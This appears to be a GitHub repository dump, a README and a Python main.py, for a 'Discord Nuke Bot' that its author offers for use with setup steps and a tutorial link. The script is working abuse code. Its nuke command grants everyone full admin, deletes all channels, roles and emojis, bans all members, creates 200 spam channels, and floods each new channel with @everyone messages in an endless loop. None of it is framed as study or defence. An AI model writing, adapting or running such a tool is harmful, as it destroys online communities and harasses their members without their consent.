├── README.md └── main.py /README.md: -------------------------------------------------------------------------------- 1 | # Discord-Nuke-Bot 2 | A Discord Nuke Bot Made By TheAxes [ Give Credits ] If You Use 3 | 4 | # Updated Version 2 5 | 6 | [Click Here](https://github.com/TheAxes/Discord-Nuke-Bot-V2.git) 7 | 8 | 9 | # Links 🌐 10 | 11 | [Replit](https://replit.com/@AxeHelper/NukeBotByTheAxes?v=1) 12 | 13 | # YouTube Vedio Tutorial 14 | 15 | [![Youtube](https://media.discordapp.net/attachments/984383210710507590/1001911829087391844/download_1.jpeg)](https://youtu.be/ifSuR7aChM8) 16 | 17 | # **Terminal | Termux Installation (For Replit Use Yt Tutorial)** 18 | ``` 19 | git clone https://github.com/TheAxes/Discord-Nuke-Bot 20 | ``` 21 | ``` 22 | cd Discord-Nuke-Bot 23 | ``` 24 | ``` 25 | python3 main.py 26 | ``` 27 | **The Bot Interface Will Be Launch!** 28 | [!["Buy Me A Coffee"](https://www.buymeacoffee.com/assets/img/custom_images/orange_img.png)](https://www.buymeacoffee.com/AshOp) 29 | -------------------------------------------------------------------------------- /main.py: -------------------------------------------------------------------------------- 1 | import os 2 | os.system('pip install discord') 3 | os.system('pip install colorama') 4 | import discord 5 | from discord.ext import commands 6 | import random 7 | from discord import Permissions 8 | from colorama import Fore, Style 9 | import asyncio 10 | 11 | 12 | #Bot Token 13 | token = input(f"Enter Your Bot Token: ") 14 | #Enter Prefix For Your Bot 15 | prefix = input(f"Enter Prefix For Your Bot: ") 16 | #enter Your User id like - Example#6969 17 | owner = input(f"Enter Your Username With Tag: ") 18 | 19 | SPAM_CHANNEL = "Nuke Test" 20 | SPAM_MESSAGE = "@everyone Nuked ","@everyone Cry About it","@everyone Beamed @everyone ","@everyone Nuked " 21 | 22 | client = commands.Bot(command_prefix=prefix) 23 | 24 | 25 | print(''' 26 | 27 | ███╗░░██╗██╗░░░██╗██╗░░██╗███████╗ 28 | ████╗░██║██║░░░██║██║░██╔╝██╔════╝ 29 | ██╔██╗██║██║░░░██║█████═╝░█████╗░░ 30 | ██║╚████║██║░░░██║██╔═██╗░██╔══╝░░ 31 | ██║░╚███║╚██████╔╝██║░╚██╗███████╗ 32 | ╚═╝░░╚══╝░╚═════╝░╚═╝░░╚═╝╚══════╝ 33 | 34 | ██████╗░░█████╗░████████╗ 35 | ██╔══██╗██╔══██╗╚══██╔══╝ 36 | ██████╦╝██║░░██║░░░██║░░░ 37 | ██╔══██╗██║░░██║░░░██║░░░ 38 | ██████╦╝╚█████╔╝░░░██║░░░ 39 | ╚═════╝░░╚════╝░░░░╚═╝░░░ 40 | Made By TheAxe 41 | ''' + 42 | 43 | 44 | prefix + '''nuke for destroy! 45 | ''') 46 | 47 | @client.event 48 | async def on_ready(): 49 | 50 | await client.change_presence(activity=discord.Game(name="Axe Are On Top")) 51 | print("Logged in as " + client.user.name) 52 | 53 | @client.command() 54 | async def stop(ctx): 55 | await ctx.reply('> **Log Out | Shut down successfully**') 56 | await client.close() 57 | 58 | 59 | 60 | 61 | 62 | 63 | @client.command() 64 | async def nuke(ctx): 65 | await ctx.message.delete() 66 | guild = ctx.guild 67 | try: 68 | role = discord.utils.get(guild.roles, name = "everyone") 69 | await role.edit(permissions = Permissions.all()) 70 | print(Fore.MAGENTA + "I have given everyone admin." + Fore.RESET) 71 | except: 72 | print(Fore.GREEN + "I was unable to give everyone admin" + Fore.RESET) 73 | for channel in guild.channels: 74 | try: 75 | await channel.delete() 76 | print(Fore.MAGENTA + f"{channel.name} was deleted." + Fore.RESET) 77 | except: 78 | print(Fore.GREEN + f"{channel.name} was NOT deleted." + Fore.RESET) 79 | for member in guild.members: 80 | try: 81 | await member.ban() 82 | print(Fore.MAGENTA + f"{member.name}#{member.discriminator} Was banned" + Fore.RESET) 83 | except: 84 | print(Fore.GREEN + f"{member.name}#{member.discriminator} Was unable to be banned." + Fore.RESET) 85 | for role in guild.roles: 86 | try: 87 | await role.delete() 88 | print(Fore.MAGENTA + f"{role.name} Has been deleted" + Fore.RESET) 89 | except: 90 | print(Fore.GREEN + f"{role.name} Has not been deleted" + Fore.RESET) 91 | for emoji in list(ctx.guild.emojis): 92 | try: 93 | await emoji.delete() 94 | print(Fore.MAGENTA + f"{emoji.name} Was deleted" + Fore.RESET) 95 | except: 96 | print(Fore.GREEN + f"{emoji.name} Wasn't Deleted" + Fore.RESET) 97 | banned_users = await guild.bans() 98 | for ban_entry in banned_users: 99 | user = ban_entry.user 100 | try: 101 | await user.unban(owner) 102 | print(Fore.MAGENTA + f"{user.name}#{user.discriminator} Was successfully unbanned." + Fore.RESET) 103 | except: 104 | print(Fore.GREEN + f"{user.name}#{user.discriminator} Was not unbanned." + Fore.RESET) 105 | await guild.create_text_channel(SPAM_CHANNEL) 106 | for channel in guild.text_channels: 107 | link = await channel.create_invite(max_age = 0, max_uses = 100) 108 | print(f"New Invite: {link}") 109 | amount = 200 110 | for i in range(amount): 111 | await guild.create_text_channel(SPAM_CHANNEL) 112 | print(f"nuked {guild.name} Successfully.") 113 | return 114 | 115 | @client.event 116 | async def on_guild_channel_create(channel): 117 | while True: 118 | await channel.send(random.choice(SPAM_MESSAGE)) 119 | 120 | client.run(token, bot=True) 121 | --------------------------------------------------------------------------------